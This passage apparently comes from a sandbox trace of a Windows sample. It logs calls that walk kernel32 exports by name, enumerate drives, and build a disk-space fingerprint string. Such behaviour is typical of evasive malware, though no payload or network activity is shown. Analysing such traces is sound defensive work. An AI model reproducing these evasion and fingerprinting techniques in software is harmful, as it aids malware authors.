lpString1=0x34e410, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0053.743] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0053.743] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0053.744] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0053.744] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0053.744] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0053.744] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0053.744] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0053.744] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0053.744] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0053.744] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0053.744] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0053.744] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0053.744] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0053.744] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0053.744] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0053.744] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0053.744] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0053.744] lstrcpyA (in: lpString1=0x34e410, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0053.744] lstrlenA (lpString="CREATEPIPE") returned 10 [0053.744] lstrcpyA (in: lpString1=0x34e410, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0053.744] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0053.744] lstrcpyA (in: lpString1=0x34e410, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0053.744] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0053.744] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0053.744] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0053.744] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0053.744] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0053.744] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0053.744] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0053.744] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0053.744] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0053.744] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0053.744] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0053.744] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0053.744] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0053.744] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0053.744] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0053.744] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0053.744] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0053.744] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0053.744] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0053.744] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0053.744] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0053.744] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0053.744] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0053.745] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0053.745] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0053.745] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0053.745] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0053.745] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0053.745] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0053.745] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0053.745] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0053.745] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0053.745] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0053.745] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0053.745] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0053.745] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0053.745] lstrlenA (lpString="CREATETHREAD") returned 12 [0053.745] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0053.745] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0053.745] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0053.745] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0053.745] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0053.745] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0053.745] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0053.745] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0053.745] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0053.745] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0053.745] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0053.745] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0053.745] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0053.745] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0053.745] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0053.745] lstrlenA (lpString="CREATETIMERQUEUETIMER") returned 21 [0053.745] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateToolhelp32Snapshot" | out: lpString1="CreateToolhelp32Snapshot") returned="CreateToolhelp32Snapshot" [0053.745] lstrlenA (lpString="CREATETOOLHELP32SNAPSHOT") returned 24 [0053.745] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateWaitableTimerA" | out: lpString1="CreateWaitableTimerA") returned="CreateWaitableTimerA" [0053.745] lstrlenA (lpString="CREATEWAITABLETIMERA") returned 20 [0053.745] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateWaitableTimerExA" | out: lpString1="CreateWaitableTimerExA") returned="CreateWaitableTimerExA" [0053.745] lstrlenA (lpString="CREATEWAITABLETIMEREXA") returned 22 [0053.745] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateWaitableTimerExW" | out: lpString1="CreateWaitableTimerExW") returned="CreateWaitableTimerExW" [0053.745] lstrlenA (lpString="CREATEWAITABLETIMEREXW") returned 22 [0053.745] lstrcpyA (in: lpString1=0x34e410, lpString2="CreateWaitableTimerW" | out: lpString1="CreateWaitableTimerW") returned="CreateWaitableTimerW" [0053.745] lstrlenA (lpString="CREATEWAITABLETIMERW") returned 20 [0053.745] lstrcpyA (in: lpString1=0x34e410, lpString2="CtrlRoutine" | out: lpString1="CtrlRoutine") returned="CtrlRoutine" [0053.745] lstrlenA (lpString="CTRLROUTINE") returned 11 [0053.745] lstrcpyA (in: lpString1=0x34e410, lpString2="DeactivateActCtx" | out: lpString1="DeactivateActCtx") returned="DeactivateActCtx" [0053.745] lstrlenA (lpString="DEACTIVATEACTCTX") returned 16 [0053.746] lstrcpyA (in: lpString1=0x34e410, lpString2="DebugActiveProcess" | out: lpString1="DebugActiveProcess") returned="DebugActiveProcess" [0053.746] lstrlenA (lpString="DEBUGACTIVEPROCESS") returned 18 [0053.746] lstrcpyA (in: lpString1=0x34e410, lpString2="DebugActiveProcessStop" | out: lpString1="DebugActiveProcessStop") returned="DebugActiveProcessStop" [0053.746] lstrlenA (lpString="DEBUGACTIVEPROCESSSTOP") returned 22 [0053.746] lstrcpyA (in: lpString1=0x34e410, lpString2="DebugBreak" | out: lpString1="DebugBreak") returned="DebugBreak" [0053.746] lstrlenA (lpString="DEBUGBREAK") returned 10 [0053.746] lstrcpyA (in: lpString1=0x34e410, lpString2="DebugBreakProcess" | out: lpString1="DebugBreakProcess") returned="DebugBreakProcess" [0053.746] lstrlenA (lpString="DEBUGBREAKPROCESS") returned 17 [0053.746] lstrcpyA (in: lpString1=0x34e410, lpString2="DebugSetProcessKillOnExit" | out: lpString1="DebugSetProcessKillOnExit") returned="DebugSetProcessKillOnExit" [0053.746] lstrlenA (lpString="DEBUGSETPROCESSKILLONEXIT") returned 25 [0053.746] lstrcpyA (in: lpString1=0x34e410, lpString2="DecodePointer" | out: lpString1="DecodePointer") returned="DecodePointer" [0053.746] lstrlenA (lpString="DECODEPOINTER") returned 13 [0053.746] lstrcpyA (in: lpString1=0x34e410, lpString2="DecodeSystemPointer" | out: lpString1="DecodeSystemPointer") returned="DecodeSystemPointer" [0053.746] lstrlenA (lpString="DECODESYSTEMPOINTER") returned 19 [0053.746] lstrcpyA (in: lpString1=0x34e410, lpString2="DefineDosDeviceA" | out: lpString1="DefineDosDeviceA") returned="DefineDosDeviceA" [0053.746] lstrlenA (lpString="DEFINEDOSDEVICEA") returned 16 [0053.746] lstrcpyA (in: lpString1=0x34e410, lpString2="DefineDosDeviceW" | out: lpString1="DefineDosDeviceW") returned="DefineDosDeviceW" [0053.746] lstrlenA (lpString="DEFINEDOSDEVICEW") returned 16 [0053.746] lstrcpyA (in: lpString1=0x34e410, lpString2="DelayLoadFailureHook" | out: lpString1="DelayLoadFailureHook") returned="DelayLoadFailureHook" [0053.746] lstrlenA (lpString="DELAYLOADFAILUREHOOK") returned 20 [0053.746] lstrcpyA (in: lpString1=0x34e410, lpString2="DeleteAtom" | out: lpString1="DeleteAtom") returned="DeleteAtom" [0053.746] lstrlenA (lpString="DELETEATOM") returned 10 [0053.746] lstrcpyA (in: lpString1=0x34e410, lpString2="DeleteBoundaryDescriptor" | out: lpString1="DeleteBoundaryDescriptor") returned="DeleteBoundaryDescriptor" [0053.746] lstrlenA (lpString="DELETEBOUNDARYDESCRIPTOR") returned 24 [0053.746] lstrcpyA (in: lpString1=0x34e410, lpString2="DeleteCriticalSection" | out: lpString1="DeleteCriticalSection") returned="DeleteCriticalSection" [0053.746] lstrlenA (lpString="DELETECRITICALSECTION") returned 21 [0053.746] lstrcpyA (in: lpString1=0x34e410, lpString2="DeleteFiber" | out: lpString1="DeleteFiber") returned="DeleteFiber" [0053.746] lstrlenA (lpString="DELETEFIBER") returned 11 [0053.746] lstrcpyA (in: lpString1=0x34e410, lpString2="DeleteFileA" | out: lpString1="DeleteFileA") returned="DeleteFileA" [0053.746] lstrlenA (lpString="DELETEFILEA") returned 11 [0053.746] lstrcpyA (in: lpString1=0x34e410, lpString2="DeleteFileTransactedA" | out: lpString1="DeleteFileTransactedA") returned="DeleteFileTransactedA" [0053.746] lstrlenA (lpString="DELETEFILETRANSACTEDA") returned 21 [0053.746] lstrcpyA (in: lpString1=0x34e410, lpString2="DeleteFileTransactedW" | out: lpString1="DeleteFileTransactedW") returned="DeleteFileTransactedW" [0053.746] lstrlenA (lpString="DELETEFILETRANSACTEDW") returned 21 [0053.746] lstrcpyA (in: lpString1=0x34e410, lpString2="DeleteFileW" | out: lpString1="DeleteFileW") returned="DeleteFileW" [0053.746] lstrlenA (lpString="DELETEFILEW") returned 11 [0053.746] lstrcpyA (in: lpString1=0x34e410, lpString2="DeleteProcThreadAttributeList" | out: lpString1="DeleteProcThreadAttributeList") returned="DeleteProcThreadAttributeList" [0053.746] lstrlenA (lpString="DELETEPROCTHREADATTRIBUTELIST") returned 29 [0053.746] lstrcpyA (in: lpString1=0x34e410, lpString2="DeleteTimerQueue" | out: lpString1="DeleteTimerQueue") returned="DeleteTimerQueue" [0053.746] lstrlenA (lpString="DELETETIMERQUEUE") returned 16 [0053.746] lstrcpyA (in: lpString1=0x34e410, lpString2="DeleteTimerQueueEx" | out: lpString1="DeleteTimerQueueEx") returned="DeleteTimerQueueEx" [0053.746] lstrlenA (lpString="DELETETIMERQUEUEEX") returned 18 [0053.747] lstrcpyA (in: lpString1=0x34e410, lpString2="DeleteTimerQueueTimer" | out: lpString1="DeleteTimerQueueTimer") returned="DeleteTimerQueueTimer" [0053.747] lstrlenA (lpString="DELETETIMERQUEUETIMER") returned 21 [0053.747] lstrcpyA (in: lpString1=0x34e410, lpString2="DeleteVolumeMountPointA" | out: lpString1="DeleteVolumeMountPointA") returned="DeleteVolumeMountPointA" [0053.747] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTA") returned 23 [0053.747] lstrcpyA (in: lpString1=0x34e410, lpString2="DeleteVolumeMountPointW" | out: lpString1="DeleteVolumeMountPointW") returned="DeleteVolumeMountPointW" [0053.747] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTW") returned 23 [0053.747] lstrcpyA (in: lpString1=0x34e410, lpString2="DeviceIoControl" | out: lpString1="DeviceIoControl") returned="DeviceIoControl" [0053.747] lstrlenA (lpString="DEVICEIOCONTROL") returned 15 [0053.747] lstrcpyA (in: lpString1=0x34e410, lpString2="DisableThreadLibraryCalls" | out: lpString1="DisableThreadLibraryCalls") returned="DisableThreadLibraryCalls" [0053.747] lstrlenA (lpString="DISABLETHREADLIBRARYCALLS") returned 25 [0053.747] lstrcpyA (in: lpString1=0x34e410, lpString2="DisableThreadProfiling" | out: lpString1="DisableThreadProfiling") returned="DisableThreadProfiling" [0053.747] lstrlenA (lpString="DISABLETHREADPROFILING") returned 22 [0053.747] lstrcpyA (in: lpString1=0x34e410, lpString2="DisassociateCurrentThreadFromCallback" | out: lpString1="DisassociateCurrentThreadFromCallback") returned="DisassociateCurrentThreadFromCallback" [0053.747] lstrlenA (lpString="DISASSOCIATECURRENTTHREADFROMCALLBACK") returned 37 [0053.747] lstrcpyA (in: lpString1=0x34e410, lpString2="DisconnectNamedPipe" | out: lpString1="DisconnectNamedPipe") returned="DisconnectNamedPipe" [0053.747] lstrlenA (lpString="DISCONNECTNAMEDPIPE") returned 19 [0053.747] lstrcpyA (in: lpString1=0x34e410, lpString2="DnsHostnameToComputerNameA" | out: lpString1="DnsHostnameToComputerNameA") returned="DnsHostnameToComputerNameA" [0053.747] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEA") returned 26 [0053.747] lstrcpyA (in: lpString1=0x34e410, lpString2="DnsHostnameToComputerNameW" | out: lpString1="DnsHostnameToComputerNameW") returned="DnsHostnameToComputerNameW" [0053.747] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEW") returned 26 [0053.747] lstrcpyA (in: lpString1=0x34e410, lpString2="DosDateTimeToFileTime" | out: lpString1="DosDateTimeToFileTime") returned="DosDateTimeToFileTime" [0053.747] lstrlenA (lpString="DOSDATETIMETOFILETIME") returned 21 [0053.747] lstrcpyA (in: lpString1=0x34e410, lpString2="DosPathToSessionPathA" | out: lpString1="DosPathToSessionPathA") returned="DosPathToSessionPathA" [0053.747] lstrlenA (lpString="DOSPATHTOSESSIONPATHA") returned 21 [0053.747] lstrcpyA (in: lpString1=0x34e410, lpString2="DosPathToSessionPathW" | out: lpString1="DosPathToSessionPathW") returned="DosPathToSessionPathW" [0053.747] lstrlenA (lpString="DOSPATHTOSESSIONPATHW") returned 21 [0053.747] lstrcpyA (in: lpString1=0x34e410, lpString2="DuplicateConsoleHandle" | out: lpString1="DuplicateConsoleHandle") returned="DuplicateConsoleHandle" [0053.747] lstrlenA (lpString="DUPLICATECONSOLEHANDLE") returned 22 [0053.747] lstrcpyA (in: lpString1=0x34e410, lpString2="DuplicateHandle" | out: lpString1="DuplicateHandle") returned="DuplicateHandle" [0053.747] lstrlenA (lpString="DUPLICATEHANDLE") returned 15 [0053.747] lstrcpyA (in: lpString1=0x34e410, lpString2="EnableThreadProfiling" | out: lpString1="EnableThreadProfiling") returned="EnableThreadProfiling" [0053.747] lstrlenA (lpString="ENABLETHREADPROFILING") returned 21 [0053.747] lstrcpyA (in: lpString1=0x34e410, lpString2="EncodePointer" | out: lpString1="EncodePointer") returned="EncodePointer" [0053.748] lstrlenA (lpString="ENCODEPOINTER") returned 13 [0053.748] lstrcpyA (in: lpString1=0x34e410, lpString2="EncodeSystemPointer" | out: lpString1="EncodeSystemPointer") returned="EncodeSystemPointer" [0053.748] lstrlenA (lpString="ENCODESYSTEMPOINTER") returned 19 [0053.748] lstrcpyA (in: lpString1=0x34e410, lpString2="EndUpdateResourceA" | out: lpString1="EndUpdateResourceA") returned="EndUpdateResourceA" [0053.748] lstrlenA (lpString="ENDUPDATERESOURCEA") returned 18 [0053.748] lstrcpyA (in: lpString1=0x34e410, lpString2="EndUpdateResourceW" | out: lpString1="EndUpdateResourceW") returned="EndUpdateResourceW" [0053.748] lstrlenA (lpString="ENDUPDATERESOURCEW") returned 18 [0053.748] lstrcpyA (in: lpString1=0x34e410, lpString2="EnterCriticalSection" | out: lpString1="EnterCriticalSection") returned="EnterCriticalSection" [0053.748] lstrlenA (lpString="ENTERCRITICALSECTION") returned 20 [0053.748] lstrcpyA (in: lpString1=0x34e410, lpString2="EnumCalendarInfoA" | out: lpString1="EnumCalendarInfoA") returned="EnumCalendarInfoA" [0053.748] lstrlenA (lpString="ENUMCALENDARINFOA") returned 17 [0053.748] lstrcpyA (in: lpString1=0x34e410, lpString2="EnumCalendarInfoExA" | out: lpString1="EnumCalendarInfoExA") returned="EnumCalendarInfoExA" [0053.748] lstrlenA (lpString="ENUMCALENDARINFOEXA") returned 19 [0053.748] lstrcpyA (in: lpString1=0x34e410, lpString2="EnumCalendarInfoExEx" | out: lpString1="EnumCalendarInfoExEx") returned="EnumCalendarInfoExEx" [0053.748] lstrlenA (lpString="ENUMCALENDARINFOEXEX") returned 20 [0053.748] lstrcpyA (in: lpString1=0x34e410, lpString2="EnumCalendarInfoExW" | out: lpString1="EnumCalendarInfoExW") returned="EnumCalendarInfoExW" [0053.748] lstrlenA (lpString="ENUMCALENDARINFOEXW") returned 19 [0053.748] lstrcpyA (in: lpString1=0x34e410, lpString2="EnumCalendarInfoW" | out: lpString1="EnumCalendarInfoW") returned="EnumCalendarInfoW" [0053.748] lstrlenA (lpString="ENUMCALENDARINFOW") returned 17 [0053.748] lstrcpyA (in: lpString1=0x34e410, lpString2="EnumDateFormatsA" | out: lpString1="EnumDateFormatsA") returned="EnumDateFormatsA" [0053.748] lstrlenA (lpString="ENUMDATEFORMATSA") returned 16 [0053.748] lstrcpyA (in: lpString1=0x34e410, lpString2="EnumDateFormatsExA" | out: lpString1="EnumDateFormatsExA") returned="EnumDateFormatsExA" [0053.748] lstrlenA (lpString="ENUMDATEFORMATSEXA") returned 18 [0053.748] lstrcpyA (in: lpString1=0x34e410, lpString2="EnumDateFormatsExEx" | out: lpString1="EnumDateFormatsExEx") returned="EnumDateFormatsExEx" [0053.748] lstrlenA (lpString="ENUMDATEFORMATSEXEX") returned 19 [0053.748] lstrcpyA (in: lpString1=0x34e410, lpString2="EnumDateFormatsExW" | out: lpString1="EnumDateFormatsExW") returned="EnumDateFormatsExW" [0053.748] lstrlenA (lpString="ENUMDATEFORMATSEXW") returned 18 [0053.748] lstrcpyA (in: lpString1=0x34e410, lpString2="EnumDateFormatsW" | out: lpString1="EnumDateFormatsW") returned="EnumDateFormatsW" [0053.748] GetLogicalDriveStringsW (in: nBufferLength=0x5, lpBuffer=0x360000 | out: lpBuffer="C:\\") returned 0x4 [0053.750] lstrcpyW (in: lpString1=0x360000, lpString2="|" | out: lpString1="|") returned="|" [0053.750] GetLogicalDriveStringsW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x5 [0053.750] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x370000 [0053.750] GetLogicalDriveStringsW (in: nBufferLength=0x5, lpBuffer=0x370000 | out: lpBuffer="C:\\") returned 0x4 [0053.750] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0053.751] GetDiskFreeSpaceW (in: lpRootPathName="C:\\", lpSectorsPerCluster=0x34f078, lpBytesPerSector=0x34f074, lpNumberOfFreeClusters=0x34f070, lpTotalNumberOfClusters=0x34f06c | out: lpSectorsPerCluster=0x34f078, lpBytesPerSector=0x34f074, lpNumberOfFreeClusters=0x34f070, lpTotalNumberOfClusters=0x34f06c) returned 1 [0053.751] wsprintfW (in: param_1=0x360002, param_2="%c_%c_%d/%d|" | out: param_1="C_F_497106/523979|") returned 18 [0053.751] VirtualFree (lpAddress=0x370000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.751] lstrlenA (lpString="kernel32.dll") returned 12 [0053.751] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0053.751] lstrcpyA (in: lpString1=0x34e430, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0053.751] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0053.751] lstrcpyA (in: lpString1=0x34e430, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0053.751] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0053.751] lstrcpyA (in: lpString1=0x34e430, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0053.751] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0053.755] lstrcpyA (in: lpString1=0x34e430, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0053.755] lstrlenA (lpString="ADDATOMA") returned 8 [0053.755] lstrcpyA (in: lpString1=0x34e430, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0053.755] lstrlenA (lpString="ADDATOMW") returned 8 [0053.755] lstrcpyA (in: lpString1=0x34e430, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0053.755] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0053.755] lstrcpyA (in: lpString1=0x34e430, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0053.755] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0053.755] lstrcpyA (in: lpString1=0x34e430, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0053.755] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0053.755] lstrcpyA (in: lpString1=0x34e430, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0053.755] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0053.755] lstrcpyA (in: lpString1=0x34e430, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0053.755] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0053.755] lstrcpyA (in: lpString1=0x34e430, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0053.755] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0053.755] lstrcpyA (in: lpString1=0x34e430, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0053.755] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0053.755] lstrcpyA (in: lpString1=0x34e430, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0053.755] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0053.755] lstrcpyA (in: lpString1=0x34e430, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0053.755] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0053.755] lstrcpyA (in: lpString1=0x34e430, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0053.755] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0053.755] lstrcpyA (in: lpString1=0x34e430, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0053.755] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0053.755] lstrcpyA (in: lpString1=0x34e430, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0053.756] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0053.756] lstrcpyA (in: lpString1=0x34e430, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0053.756] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0053.756] lstrcpyA (in: lpString1=0x34e430, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0053.756] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0053.756] lstrcpyA (in: lpString1=0x34e430, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0053.756] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0053.756] lstrcpyA (in: lpString1=0x34e430, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0053.756] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0053.756] lstrcpyA (in: lpString1=0x34e430, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0053.756] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0053.756] lstrcpyA (in: lpString1=0x34e430, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0053.756] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0053.756] lstrcpyA (in: lpString1=0x34e430, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0053.756] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0053.756] lstrcpyA (in: lpString1=0x34e430, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0053.756] lstrlenA (lpString="BACKUPREAD") returned 10 [0053.756] lstrcpyA (in: lpString1=0x34e430, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0053.756] lstrlenA (lpString="BACKUPSEEK") returned 10 [0053.756] lstrcpyA (in: lpString1=0x34e430, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0053.756] lstrlenA 